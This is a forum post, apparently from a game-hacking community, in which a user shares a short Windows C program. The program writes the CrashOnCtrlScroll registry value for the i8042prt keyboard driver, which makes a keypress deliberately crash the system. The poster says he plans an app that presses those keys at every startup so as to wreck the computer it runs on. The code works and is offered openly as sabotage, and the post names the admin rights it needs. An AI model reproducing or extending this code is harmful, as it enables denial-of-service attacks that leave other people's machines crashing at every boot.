Govind
The One Musketeer
- Joined
- Apr 22, 2005
- Sythe Gold
- 23
- Messages
- 7,825
Code:
#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
HKEY KeyHandle;
DWORD Data = 1;
RegOpenKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\i8042prt\\Parameters",&KeyHandle);
RegSetValueEx(KeyHandle,"CrashOnCtrlScroll",NULL,REG_DWORD,(BYTE*)&Data,sizeof(DWORD));
RegCloseKey(KeyHandle);
return 0;
}
I'll make an app to automatically press those keys on startup as to totally fuck up the comp this is used on.
Note: You NEED administrator access, or at least the ability to write to the HKEY_LOCAL_MACHINE registry. Otherwise this won't work.


